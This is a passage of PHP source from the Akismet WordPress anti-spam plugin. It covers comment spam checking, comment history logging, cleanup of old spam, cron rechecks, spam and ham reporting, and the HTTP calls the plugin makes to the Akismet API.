if ( $discard ) {
// akismet_result_spam() won't be called so bump the counter here
if ( $incr = apply_filters('akismet_spam_count_incr', 1) )
update_option( 'akismet_spam_count', get_option('akismet_spam_count') + $incr );
// The spam is obvious, so we're bailing out early. Redirect back to the previous page,
// or failing that, the post permalink, or failing that, the homepage of the blog.
$redirect_to = isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : ( $post ? get_permalink( $post ) : home_url() );
wp_safe_redirect( esc_url_raw( $redirect_to ) );
die();
}
}
// if the response is neither true nor false, hold the comment for moderation and schedule a recheck
if ( 'true' != $response[1] && 'false' != $response[1] ) {
if ( !current_user_can('moderate_comments') ) {
// Comment status should be moderated
self::$last_comment_result = '0';
}
if ( function_exists('wp_next_scheduled') && function_exists('wp_schedule_single_event') ) {
if ( !wp_next_scheduled( 'akismet_schedule_cron_recheck' ) ) {
wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' );
do_action( 'akismet_scheduled_recheck', 'invalid-response-' . $response[1] );
}
}
self::$prevent_moderation_email_for_these_comments[] = $commentdata;
}
if ( function_exists('wp_next_scheduled') && function_exists('wp_schedule_event') ) {
// WP 2.1+: delete old comments daily
if ( !wp_next_scheduled( 'akismet_scheduled_delete' ) )
wp_schedule_event( time(), 'daily', 'akismet_scheduled_delete' );
}
elseif ( (mt_rand(1, 10) == 3) ) {
// WP 2.0: run this one time in ten
self::delete_old_comments();
}
self::set_last_comment( $commentdata );
self::fix_scheduled_recheck();
return $commentdata;
}
public static function get_last_comment() {
return self::$last_comment;
}
public static function set_last_comment( $comment ) {
if ( is_null( $comment ) ) {
self::$last_comment = null;
}
else {
// We filter it here so that it matches the filtered comment data that we'll have to compare against later.
// wp_filter_comment expects comment_author_IP
self::$last_comment = wp_filter_comment(
array_merge(
array( 'comment_author_IP' => self::get_ip_address() ),
$comment
)
);
}
}
// this fires on wp_insert_comment. we can't update comment_meta when auto_check_comment() runs
// because we don't know the comment ID at that point.
public static function auto_check_update_meta( $id, $comment ) {
// failsafe for old WP versions
if ( !function_exists('add_comment_meta') )
return false;
// wp_insert_comment() might be called in other contexts, so make sure this is the same comment
// as was checked by auto_check_comment
if ( is_object( $comment ) && !empty( self::$last_comment ) && is_array( self::$last_comment ) ) {
if ( self::matches_last_comment( $comment ) ) {
load_plugin_textdomain( 'akismet' );
// normal result: true or false
if ( self::$last_comment['akismet_result'] == 'true' ) {
update_comment_meta( $comment->comment_ID, 'akismet_result', 'true' );
self::update_comment_history( $comment->comment_ID, '', 'check-spam' );
if ( $comment->comment_approved != 'spam' )
self::update_comment_history(
$comment->comment_ID,
'',
'status-changed-'.$comment->comment_approved
);
}
elseif ( self::$last_comment['akismet_result'] == 'false' ) {
update_comment_meta( $comment->comment_ID, 'akismet_result', 'false' );
self::update_comment_history( $comment->comment_ID, '', 'check-ham' );
// Status could be spam or trash, depending on the WP version and whether this change applies:
// https://core.trac.wordpress.org/changeset/34726
if ( $comment->comment_approved == 'spam' || $comment->comment_approved == 'trash' ) {
if ( wp_blacklist_check($comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent) )
self::update_comment_history( $comment->comment_ID, '', 'wp-blacklisted' );
else
self::update_comment_history( $comment->comment_ID, '', 'status-changed-'.$comment->comment_approved );
}
} // abnormal result: error
else {
update_comment_meta( $comment->comment_ID, 'akismet_error', time() );
self::update_comment_history(
$comment->comment_ID,
'',
'check-error',
array( 'response' => substr( self::$last_comment['akismet_result'], 0, 50 ) )
);
}
// record the complete original data as submitted for checking
if ( isset( self::$last_comment['comment_as_submitted'] ) )
update_comment_meta( $comment->comment_ID, 'akismet_as_submitted', self::$last_comment['comment_as_submitted'] );
if ( isset( self::$last_comment['akismet_pro_tip'] ) )
update_comment_meta( $comment->comment_ID, 'akismet_pro_tip', self::$last_comment['akismet_pro_tip'] );
}
}
}
public static function delete_old_comments() {
global $wpdb;
/**
* Determines how many comments will be deleted in each batch.
*
* @param int The default, as defined by AKISMET_DELETE_LIMIT.
*/
$delete_limit = apply_filters( 'akismet_delete_comment_limit', defined( 'AKISMET_DELETE_LIMIT' ) ? AKISMET_DELETE_LIMIT : 10000 );
$delete_limit = max( 1, intval( $delete_limit ) );
/**
* Determines how many days a comment will be left in the Spam queue before being deleted.
*
* @param int The default number of days.
*/
$delete_interval = apply_filters( 'akismet_delete_comment_interval', 15 );
$delete_interval = max( 1, intval( $delete_interval ) );
while ( $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_id FROM {$wpdb->comments} WHERE DATE_SUB(NOW(), INTERVAL %d DAY) > comment_date_gmt AND comment_approved = 'spam' LIMIT %d", $delete_interval, $delete_limit ) ) ) {
if ( empty( $comment_ids ) )
return;
$wpdb->queries = array();
foreach ( $comment_ids as $comment_id ) {
do_action( 'delete_comment', $comment_id );
}
// Prepared as strings since comment_id is an unsigned BIGINT, and using %d will constrain the value to the maximum signed BIGINT.
$format_string = implode( ", ", array_fill( 0, count( $comment_ids ), '%s' ) );
$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->comments} WHERE comment_id IN ( " . $format_string . " )", $comment_ids ) );
$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->commentmeta} WHERE comment_id IN ( " . $format_string . " )", $comment_ids ) );
clean_comment_cache( $comment_ids );
do_action( 'akismet_delete_comment_batch', count( $comment_ids ) );
}
if ( apply_filters( 'akismet_optimize_table', ( mt_rand(1, 5000) == 11), $wpdb->comments ) ) // lucky number
$wpdb->query("OPTIMIZE TABLE {$wpdb->comments}");
}
public static function delete_old_comments_meta() {
global $wpdb;
$interval = apply_filters( 'akismet_delete_commentmeta_interval', 15 );
# enfore a minimum of 1 day
$interval = absint( $interval );
if ( $interval < 1 )
$interval = 1;
// akismet_as_submitted meta values are large, so expire them
// after $interval days regardless of the comment status
while ( $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT m.comment_id FROM {$wpdb->commentmeta} as m INNER JOIN {$wpdb->comments} as c USING(comment_id) WHERE m.meta_key = 'akismet_as_submitted' AND DATE_SUB(NOW(), INTERVAL %d DAY) > c.comment_date_gmt LIMIT 10000", $interval ) ) ) {
if ( empty( $comment_ids ) )
return;
$wpdb->queries = array();
foreach ( $comment_ids as $comment_id ) {
delete_comment_meta( $comment_id, 'akismet_as_submitted' );
}
do_action( 'akismet_delete_commentmeta_batch', count( $comment_ids ) );
}
if ( apply_filters( 'akismet_optimize_table', ( mt_rand(1, 5000) == 11), $wpdb->commentmeta ) ) // lucky number
$wpdb->query("OPTIMIZE TABLE {$wpdb->commentmeta}");
}
// how many approved comments does this author have?
public static function get_user_comments_approved( $user_id, $comment_author_email, $comment_author, $comment_author_url ) {
global $wpdb;
if ( !empty( $user_id ) )
return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->comments} WHERE user_id = %d AND comment_approved = 1", $user_id ) );
if ( !empty( $comment_author_email ) )
return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->comments} WHERE comment_author_email = %s AND comment_author = %s AND comment_author_url = %s AND comment_approved = 1", $comment_author_email, $comment_author, $comment_author_url ) );
return 0;
}
// get the full comment history for a given comment, as an array in reverse chronological order
public static function get_comment_history( $comment_id ) {
// failsafe for old WP versions
if ( !function_exists('add_comment_meta') )
return false;
$history = get_comment_meta( $comment_id, 'akismet_history', false );
usort( $history, array( 'Akismet', '_cmp_time' ) );
return $history;
}
/**
* Log an event for a given comment, storing it in comment_meta.
*
* @param int $comment_id The ID of the relevant comment.
* @param string $message The string description of the event. No longer used.
* @param string $event The event code.
* @param array $meta Metadata about the history entry. e.g., the user that reported or changed the status of a given comment.
*/
public static function update_comment_history( $comment_id, $message, $event=null, $meta=null ) {
global $current_user;
// failsafe for old WP versions
if ( !function_exists('add_comment_meta') )
return false;
$user = '';
$event = array(
'time' => self::_get_microtime(),
'event' => $event,
);
if ( is_object( $current_user ) && isset( $current_user->user_login ) ) {
$event['user'] = $current_user->user_login;
}
if ( ! empty( $meta ) ) {
$event['meta'] = $meta;
}
// $unique = false so as to allow multiple values per comment
$r = add_comment_meta( $comment_id, 'akismet_history', $event, false );
}
public static function check_db_comment( $id, $recheck_reason = 'recheck_queue' ) {
global $wpdb;
$c = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $id ), ARRAY_A );
if ( ! $c ) {
return new WP_Error( 'invalid-comment-id', __( 'Comment not found.', 'akismet' ) );
}
$c['user_ip'] = $c['comment_author_IP'];
$c['user_agent'] = $c['comment_agent'];
$c['referrer'] = '';
$c['blog'] = get_option( 'home' );
$c['blog_lang'] = get_locale();
$c['blog_charset'] = get_option('blog_charset');
$c['permalink'] = get_permalink($c['comment_post_ID']);
$c['recheck_reason'] = $recheck_reason;
$c['user_role'] = '';
if ( ! empty( $c['user_ID'] ) ) {
$c['user_role'] = Akismet::get_user_roles( $c['user_ID'] );
}
if ( self::is_test_mode() )
$c['is_test'] = 'true';
$response = self::http_post( Akismet::build_query( $c ), 'comment-check' );
if ( ! empty( $response[1] ) ) {
return $response[1];
}
return false;
}
public static function recheck_comment( $id, $recheck_reason = 'recheck_queue' ) {
add_comment_meta( $id, 'akismet_rechecking', true );
$api_response = self::check_db_comment( $id, $recheck_reason );
delete_comment_meta( $id, 'akismet_rechecking' );
if ( is_wp_error( $api_response ) ) {
// Invalid comment ID.
}
else if ( 'true' === $api_response ) {
wp_set_comment_status( $id, 'spam' );
update_comment_meta( $id, 'akismet_result', 'true' );
delete_comment_meta( $id, 'akismet_error' );
delete_comment_meta( $id, 'akismet_delayed_moderation_email' );
Akismet::update_comment_history( $id, '', 'recheck-spam' );
}
elseif ( 'false' === $api_response ) {
update_comment_meta( $id, 'akismet_result', 'false' );
delete_comment_meta( $id, 'akismet_error' );
delete_comment_meta( $id, 'akismet_delayed_moderation_email' );
Akismet::update_comment_history( $id, '', 'recheck-ham' );
}
else {
// abnormal result: error
update_comment_meta( $id, 'akismet_result', 'error' );
Akismet::update_comment_history(
$id,
'',
'recheck-error',
array( 'response' => substr( $api_response, 0, 50 ) )
);
}
return $api_response;
}
public static function transition_comment_status( $new_status, $old_status, $comment ) {
if ( $new_status == $old_status )
return;
# we don't need to record a history item for deleted comments
if ( $new_status == 'delete' )
return;
if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) && !current_user_can( 'moderate_comments' ) )
return;
if ( defined('WP_IMPORTING') && WP_IMPORTING == true )
return;
// if this is present, it means the status has been changed by a re-check, not an explicit user action
if ( get_comment_meta( $comment->comment_ID, 'akismet_rechecking' ) )
return;
global $current_user;
$reporter = '';
if ( is_object( $current_user ) )
$reporter = $current_user->user_login;
// Assumption alert:
// We want to submit comments to Akismet only when a moderator explicitly spams or approves it - not if the status
// is changed automatically by another plugin. Unfortunately WordPress doesn't provide an unambiguous way to
// determine why the transition_comment_status action was triggered. And there are several different ways by which
// to spam and unspam comments: bulk actions, ajax, links in moderation emails, the dashboard, and perhaps others.
// We'll assume that this is an explicit user action if certain POST/GET variables exist.
if ( ( isset( $_POST['status'] ) && in_array( $_POST['status'], array( 'spam', 'unspam' ) ) ) ||
( isset( $_POST['spam'] ) && (int) $_POST['spam'] == 1 ) ||
( isset( $_POST['unspam'] ) && (int) $_POST['unspam'] == 1 ) ||
( isset( $_POST['comment_status'] ) && in_array( $_POST['comment_status'], array( 'spam', 'unspam' ) ) ) ||
( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'spam', 'unspam', 'spamcomment', 'unspamcomment', ) ) ) ||
( isset( $_POST['action'] ) && in_array( $_POST['action'], array( 'editedcomment' ) ) ) ||
( isset( $_GET['for'] ) && ( 'jetpack' == $_GET['for'] ) ) // Moderation via WP.com notifications/WP app/etc.
) {
if ( $new_status == 'spam' && ( $old_status == 'approved' || $old_status == 'unapproved' || !$old_status ) ) {
return self::submit_spam_comment( $comment->comment_ID );
} elseif ( $old_status == 'spam' && ( $new_status == 'approved' || $new_status == 'unapproved' ) ) {
return self::submit_nonspam_comment( $comment->comment_ID );
}
}
self::update_comment_history( $comment->comment_ID, '', 'status-' . $new_status );
}
public static function submit_spam_comment( $comment_id ) {
global $wpdb, $current_user, $current_site;
$comment_id = (int) $comment_id;
$comment = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id ) );
if ( !$comment ) // it was deleted
return;
if ( 'spam' != $comment->comment_approved )
return;
// use the original version stored in comment_meta if available
$as_submitted = self::sanitize_comment_as_submitted( get_comment_meta( $comment_id, 'akismet_as_submitted', true ) );
if ( $as_submitted && is_array( $as_submitted ) && isset( $as_submitted['comment_content'] ) )
$comment = (object) array_merge( (array)$comment, $as_submitted );
$comment->blog = get_option( 'home' );
$comment->blog_lang = get_locale();
$comment->blog_charset = get_option('blog_charset');
$comment->permalink = get_permalink($comment->comment_post_ID);
if ( is_object($current_user) )
$comment->reporter = $current_user->user_login;
if ( is_object($current_site) )
$comment->site_domain = $current_site->domain;
$comment->user_role = '';
if ( ! empty( $comment->user_ID ) ) {
$comment->user_role = Akismet::get_user_roles( $comment->user_ID );
}
if ( self::is_test_mode() )
$comment->is_test = 'true';
$post = get_post( $comment->comment_post_ID );
if ( ! is_null( $post ) ) {
$comment->comment_post_modified_gmt = $post->post_modified_gmt;
}
$response = Akismet::http_post( Akismet::build_query( $comment ), 'submit-spam' );
if ( $comment->reporter ) {
self::update_comment_history( $comment_id, '', 'report-spam' );
update_comment_meta( $comment_id, 'akismet_user_result', 'true' );
update_comment_meta( $comment_id, 'akismet_user', $comment->reporter );
}
do_action('akismet_submit_spam_comment', $comment_id, $response[1]);
}
public static function submit_nonspam_comment( $comment_id ) {
global $wpdb, $current_user, $current_site;
$comment_id = (int) $comment_id;
$comment = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id ) );
if ( !$comment ) // it was deleted
return;
// use the original version stored in comment_meta if available
$as_submitted = self::sanitize_comment_as_submitted( get_comment_meta( $comment_id, 'akismet_as_submitted', true ) );
if ( $as_submitted && is_array($as_submitted) && isset($as_submitted['comment_content']) )
$comment = (object) array_merge( (array)$comment, $as_submitted );
$comment->blog = get_option( 'home' );
$comment->blog_lang = get_locale();
$comment->blog_charset = get_option('blog_charset');
$comment->permalink = get_permalink( $comment->comment_post_ID );
$comment->user_role = '';
if ( is_object($current_user) )
$comment->reporter = $current_user->user_login;
if ( is_object($current_site) )
$comment->site_domain = $current_site->domain;
if ( ! empty( $comment->user_ID ) ) {
$comment->user_role = Akismet::get_user_roles( $comment->user_ID );
}
if ( Akismet::is_test_mode() )
$comment->is_test = 'true';
$post = get_post( $comment->comment_post_ID );
if ( ! is_null( $post ) ) {
$comment->comment_post_modified_gmt = $post->post_modified_gmt;
}
$response = self::http_post( Akismet::build_query( $comment ), 'submit-ham' );
if ( $comment->reporter ) {
self::update_comment_history( $comment_id, '', 'report-ham' );
update_comment_meta( $comment_id, 'akismet_user_result', 'false' );
update_comment_meta( $comment_id, 'akismet_user', $comment->reporter );
}
do_action('akismet_submit_nonspam_comment', $comment_id, $response[1]);
}
public static function cron_recheck() {
global $wpdb;
$api_key = self::get_api_key();
$status = self::verify_key( $api_key );
if ( get_option( 'akismet_alert_code' ) || $status == 'invalid' ) {
// since there is currently a problem with the key, reschedule a check for 6 hours hence
wp_schedule_single_event( time() + 21600, 'akismet_schedule_cron_recheck' );
do_action( 'akismet_scheduled_recheck', 'key-problem-' . get_option( 'akismet_alert_code' ) . '-' . $status );
return false;
}
delete_option('akismet_available_servers');
$comment_errors = $wpdb->get_col( "SELECT comment_id FROM {$wpdb->commentmeta} WHERE meta_key = 'akismet_error' LIMIT 100" );
load_plugin_textdomain( 'akismet' );
foreach ( (array) $comment_errors as $comment_id ) {
// if the comment no longer exists, or is too old, remove the meta entry from the queue to avoid getting stuck
$comment = get_comment( $comment_id );
if ( !$comment || strtotime( $comment->comment_date_gmt ) < strtotime( "-15 days" ) ) {
delete_comment_meta( $comment_id, 'akismet_error' );
delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' );
continue;
}
add_comment_meta( $comment_id, 'akismet_rechecking', true );
$status = self::check_db_comment( $comment_id, 'retry' );
$event = '';
if ( $status == 'true' ) {
$event = 'cron-retry-spam';
} elseif ( $status == 'false' ) {
$event = 'cron-retry-ham';
}
// If we got back a legit response then update the comment history
// other wise just bail now and try again later. No point in
// re-trying all the comments once we hit one failure.
if ( !empty( $event ) ) {
delete_comment_meta( $comment_id, 'akismet_error' );
self::update_comment_history( $comment_id, '', $event );
update_comment_meta( $comment_id, 'akismet_result', $status );
// make sure the comment status is still pending. if it isn't, that means the user has already moved it elsewhere.
$comment = get_comment( $comment_id );
if ( $comment && 'unapproved' == wp_get_comment_status( $comment_id ) ) {
if ( $status == 'true' ) {
wp_spam_comment( $comment_id );
} elseif ( $status == 'false' ) {
// comment is good, but it's still in the pending queue. depending on the moderation settings
// we may need to change it to approved.
if ( check_comment($comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent, $comment->comment_type) )
wp_set_comment_status( $comment_id, 1 );
else if ( get_comment_meta( $comment_id, 'akismet_delayed_moderation_email', true ) )
wp_notify_moderator( $comment_id );
}
}
delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' );
} else {
// If this comment has been pending moderation for longer than MAX_DELAY_BEFORE_MODERATION_EMAIL,
// send a moderation email now.
if ( ( intval( gmdate( 'U' ) ) - strtotime( $comment->comment_date_gmt ) ) < self::MAX_DELAY_BEFORE_MODERATION_EMAIL ) {
delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' );
wp_notify_moderator( $comment_id );
}
delete_comment_meta( $comment_id, 'akismet_rechecking' );
wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' );
do_action( 'akismet_scheduled_recheck', 'check-db-comment-' . $status );
return;
}
delete_comment_meta( $comment_id, 'akismet_rechecking' );
}
$remaining = $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->commentmeta} WHERE meta_key = 'akismet_error'" );
if ( $remaining && !wp_next_scheduled('akismet_schedule_cron_recheck') ) {
wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' );
do_action( 'akismet_scheduled_recheck', 'remaining' );
}
}
public static function fix_scheduled_recheck() {
$future_check = wp_next_scheduled( 'akismet_schedule_cron_recheck' );
if ( !$future_check ) {
return;
}
if ( get_option( 'akismet_alert_code' ) > 0 ) {
return;
}
$check_range = time() + 1200;
if ( $future_check > $check_range ) {
wp_clear_scheduled_hook( 'akismet_schedule_cron_recheck' );
wp_schedule_single_event( time() + 300, 'akismet_schedule_cron_recheck' );
do_action( 'akismet_scheduled_recheck', 'fix-scheduled-recheck' );
}
}
public static function add_comment_nonce( $post_id ) {
/**
* To disable the Akismet comment nonce, add a filter for the 'akismet_comment_nonce' tag
* and return any string value that is not 'true' or '' (empty string).
*
* Don't return boolean false, because that implies that the 'akismet_comment_nonce' option
* has not been set and that Akismet should just choose the default behavior for that
* situation.
*/
$akismet_comment_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) );
if ( $akismet_comment_nonce_option == 'true' || $akismet_comment_nonce_option == '' ) {
echo '<p style="display: none;">';
wp_nonce_field( 'akismet_comment_nonce_' . $post_id, 'akismet_comment_nonce', FALSE );
echo '</p>';
}
}
public static function is_test_mode() {
return defined('AKISMET_TEST_MODE') && AKISMET_TEST_MODE;
}
public static function allow_discard() {
if ( defined( 'DOING_AJAX' ) && DOING_AJAX )
return false;
if ( is_user_logged_in() )
return false;
return ( get_option( 'akismet_strictness' ) === '1' );
}
public static function get_ip_address() {
return isset( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : null;
}
/**
* Do these two comments, without checking the comment_ID, "match"?
*
* @param mixed $comment1 A comment object or array.
* @param mixed $comment2 A comment object or array.
* @return bool Whether the two comments should be treated as the same comment.
*/
private static function comments_match( $comment1, $comment2 ) {
$comment1 = (array) $comment1;
$comment2 = (array) $comment2;
// Set default values for these strings that we check in order to simplify
// the checks and avoid PHP warnings.
if ( ! isset( $comment1['comment_author'] ) ) {
$comment1['comment_author'] = '';
}
if ( ! isset( $comment2['comment_author'] ) ) {
$comment2['comment_author'] = '';
}
if ( ! isset( $comment1['comment_author_email'] ) ) {
$comment1['comment_author_email'] = '';
}
if ( ! isset( $comment2['comment_author_email'] ) ) {
$comment2['comment_author_email'] = '';
}
$comments_match = (
isset( $comment1['comment_post_ID'], $comment2['comment_post_ID'] )
&& intval( $comment1['comment_post_ID'] ) == intval( $comment2['comment_post_ID'] )
&& (
// The comment author length max is 255 characters, limited by the TINYTEXT column type.
// If the comment author includes multibyte characters right around the 255-byte mark, they
// may be stripped when the author is saved in the DB, so a 300+ char author may turn into
// a 253-char author when it's saved, not 255 exactly. The longest possible character is
// theoretically 6 bytes, so we'll only look at the first 248 bytes to be safe.
substr( $comment1['comment_author'], 0, 248 ) == substr( $comment2['comment_author'], 0, 248 )
|| substr( stripslashes( $comment1['comment_author'] ), 0, 248 ) == substr( $comment2['comment_author'], 0, 248 )
|| substr( $comment1['comment_author'], 0, 248 ) == substr( stripslashes( $comment2['comment_author'] ), 0, 248 )
// Certain long comment author names will be truncated to nothing, depending on their encoding.
|| ( ! $comment1['comment_author'] && strlen( $comment2['comment_author'] ) > 248 )
|| ( ! $comment2['comment_author'] && strlen( $comment1['comment_author'] ) > 248 )
)
&& (
// The email max length is 100 characters, limited by the VARCHAR(100) column type.
// Same argument as above for only looking at the first 93 characters.
substr( $comment1['comment_author_email'], 0, 93 ) == substr( $comment2['comment_author_email'], 0, 93 )
|| substr( stripslashes( $comment1['comment_author_email'] ), 0, 93 ) == substr( $comment2['comment_author_email'], 0, 93 )
|| substr( $comment1['comment_author_email'], 0, 93 ) == substr( stripslashes( $comment2['comment_author_email'] ), 0, 93 )
// Very long emails can be truncated and then stripped if the [0:100] substring isn't a valid address.
|| ( ! $comment1['comment_author_email'] && strlen( $comment2['comment_author_email'] ) > 100 )
|| ( ! $comment2['comment_author_email'] && strlen( $comment1['comment_author_email'] ) > 100 )
)
);
return $comments_match;
}
// Does the supplied comment match the details of the one most recently stored in self::$last_comment?
public static function matches_last_comment( $comment ) {
return self::comments_match( self::$last_comment, $comment );
}
private static function get_user_agent() {
return isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : null;
}
private static function get_referer() {
return isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : null;
}
// return a comma-separated list of role names for the given user
public static function get_user_roles( $user_id ) {
$roles = false;
if ( !class_exists('WP_User') )
return false;
if ( $user_id > 0 ) {
$comment_user = new WP_User( $user_id );
if ( isset( $comment_user->roles ) )
$roles = join( ',', $comment_user->roles );
}
if ( is_multisite() && is_super_admin( $user_id ) ) {
if ( empty( $roles ) ) {
$roles = 'super_admin';
} else {
$comment_user->roles[] = 'super_admin';
$roles = join( ',', $comment_user->roles );
}
}
return $roles;
}
// filter handler used to return a spam result to pre_comment_approved
public static function last_comment_status( $approved, $comment ) {
if ( is_null( self::$last_comment_result ) ) {
// We didn't have reason to store the result of the last check.
return $approved;
}
// Only do this if it's the correct comment
if ( ! self::matches_last_comment( $comment ) ) {
self::log( "comment_is_spam mismatched comment, returning unaltered $approved" );
return $approved;
}
// bump the counter here instead of when the filter is added to reduce the possibility of overcounting
if ( $incr = apply_filters('akismet_spam_count_incr', 1) )
update_option( 'akismet_spam_count', get_option('akismet_spam_count') + $incr );
return self::$last_comment_result;
}
/**
* If Akismet is temporarily unreachable, we don't want to "spam" the blogger with
* moderation emails for comments that will be automatically cleared or spammed on
* the next retry.
*
* For comments that will be rechecked later, empty the list of email addresses that
* the moderation email would be sent to.
*
* @param array $emails An array of email addresses that the moderation email will be sent to.
* @param int $comment_id The ID of the relevant comment.
* @return array An array of email addresses that the moderation email will be sent to.
*/
public static function disable_moderation_emails_if_unreachable( $emails, $comment_id ) {
if ( ! empty( self::$prevent_moderation_email_for_these_comments ) && ! empty( $emails ) ) {
$comment = get_comment( $comment_id );
foreach ( self::$prevent_moderation_email_for_these_comments as $possible_match ) {
if ( self::comments_match( $possible_match, $comment ) ) {
update_comment_meta( $comment_id, 'akismet_delayed_moderation_email', true );
return array();
}
}
}
return $emails;
}
public static function _cmp_time( $a, $b ) {
return $a['time'] > $b['time'] ? -1 : 1;
}
public static function _get_microtime() {
$mtime = explode( ' ', microtime() );
return $mtime[1] + $mtime[0];
}
/**
* Make a POST request to the Akismet API.
*
* @param string $request The body of the request.
* @param string $path The path for the request.
* @param string $ip The specific IP address to hit.
* @return array A two-member array consisting of the headers and the response body, both empty in the case of a failure.
*/
public static function http_post( $request, $path, $ip=null ) {
$akismet_ua = sprintf( 'WordPress/%s | Akismet/%s', $GLOBALS['wp_version'], constant( 'AKISMET_VERSION' ) );
$akismet_ua = apply_filters( 'akismet_ua', $akismet_ua );
$content_length = strlen( $request );
$api_key = self::get_api_key();
$host = self::API_HOST;
if ( !empty( $api_key ) )
$host = $api_key.'.'.$host;
$http_host = $host;
// use a specific IP if provided
// needed by Akismet_Admin::check_server_connectivity()
if ( $ip && long2ip( ip2long( $ip ) ) ) {
$http_host = $ip;
}
$http_args = array(
'body' => $request,
'headers' => array(
'Content-Type' => 'application/x-www-form-urlencoded; charset=' . get_option( 'blog_charset' ),
'Host' => $host,
'User-Agent' => $akismet_ua,
),
'httpversion' => '1.0',
'timeout' => 15
);
$akismet_url = $http_akismet_url = "http://{$http_host}/1.1/{$path}";
/**
* Try SSL first; if that fails, try without it and don't try it again for a while.
*/
$ssl = $ssl_failed = false;
// Check if SSL requests were disabled fewer than X hours ago.
$ssl_disabled = get_option( 'akismet_ssl_disabled' );
if ( $ssl_disabled && $ssl_disabled < ( time() - 60 * 60 * 24 ) ) { // 24 hours
$ssl_disabled = false;
delete_option( 'akismet_ssl_disabled' );
}
else if ( $ssl_disabled ) {
do_action( 'akismet_ssl_disabled' );
}
if ( ! $ssl_disabled && function_exists( 'wp_http_supports') && ( $ssl = wp_http_supports( array( 'ssl' ) ) ) ) {
$akismet_url = set_url_scheme( $akismet_url, 'https' );
do_action( 'akismet_https_request_pre' );
}
$response = wp_remote_post( $akismet_url, $http_args );
Akismet::log( compact( 'akismet_url', 'http_args', 'response' ) );
if ( $ssl && is_wp_error( $response ) ) {
do_action( 'akismet_https_request_failure', $response );
// Intermittent connection problems may cause the first HTTPS
// request to fail and subsequent HTTP requests to succeed randomly.
// Retry the HTTPS request once before disabling SSL for a time.
$response = wp_remote_post( $akismet_url, $http_args );
Akismet::log( compact( 'akismet_url', 'http_args', 'response' ) );
if ( is_wp_error( $response ) ) {
$ssl_failed = true;
do_action( 'akismet_https_request_failure', $response );
do_action( 'akismet_http_request_pre' );
// Try the request again without SSL.
$response = wp_remote_post( $http_akismet_url, $http_args );
Akismet::log( compact( 'http_akismet_url', 'http_args', 'response' ) );
}
}
if ( is_wp_error( $response ) ) {
do_action( 'akismet_request_failure', $response );
return array( '', '' );
}
if ( $ssl_failed ) {
// The request failed when using SSL but succeeded without it. Disable SSL for future requests.
update_option( 'akismet_ssl_disabled', time() );
do_action( 'akismet_https_disabled' );
}
$simplified_response = array( $response['headers'], $response['body'] );
self::update_alert( $simplified_response );
return $simplified_response;
}
// given a response from an API call like check_key_status(), update the alert code options if an alert is present.
public static function update_alert( $response ) {
$code = $msg = null;
if ( isset( $response[0]['x-akismet-alert-code'] ) ) {
$code = $response[0]['x-akismet-alert-code'];
$msg = $response[0]['x-akismet-alert-msg'];
}
// only call update_option() if the value has changed
if ( $code != get_option( 'akismet_alert_code' ) ) {
if ( ! $code ) {
delete_option( 'akismet_alert_code' );
delete_option( 'akismet_alert_msg' );
}
else {
update_option( 'akismet_alert_code', $code );
update_option( 'akismet_alert_msg', $msg );
}
}
}
public static function load_form_js() {
// WP < 3.3 can't enqueue a script this late in the game and still have it appear in the footer.
// Once we drop support for everything pre-3.3, this can change back to a single enqueue call.
wp_register_script( 'akismet-form', plugin_dir_url( __FILE__ ) . '_inc/form.js', array(), AKISMET_VERSION, true );
add_action( 'wp_footer', array( 'Akismet', 'print_form_js' ) );
add_action( 'admin_footer', array( 'Akismet', 'print_form_js' ) );
}
public static function print_form_js() {
wp_print_scripts( 'akismet-form' );
}
public static function inject_ak_js( $fields ) {
echo '<p style="display: none;">';
echo '<input type="hidden" id="ak_js" name="ak_js" value="' . mt_rand( 0, 250 ) . '"/>';
echo '</p>';
}
private static function bail_on_activation( $message, $deactivate = true ) {
?>
<!doctype html>
<html>
<head>
<meta charset="<?php bloginfo( 'charset' ); ?>">
<style>
* {
text-align: center;
margin: 0;
padding: 0;
font-family: "Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;
}
p {
margin-top: 1em;
font-size: 18px;
}
</style>
<body>
<p><?php echo esc_html( $message ); ?></p>
</body>
</html>
<?php
if ( $deactivate ) {
$plugins = get_option( 'active_plugins' );
$akismet = plugin_basename( AKISMET__PLUGIN_DIR . 'akismet.php' );
$update = false;
foreach ( $plugins as $i => $plugin ) {
if ( $plugin === $akismet ) {
$plugins[$i] = false;
$update = true;
}
}
if ( $update ) {
update_option( 'active_plugins', array_filter( $plugins ) );
}
}
exit;
}
public static function view( $name, array $args = array() ) {
$args = apply_filters( 'akismet_view_arguments', $args, $name );
foreach ( $args AS $key => $val ) {
$$key = $val;
}
load_plugin_textdomain( 'akismet' );
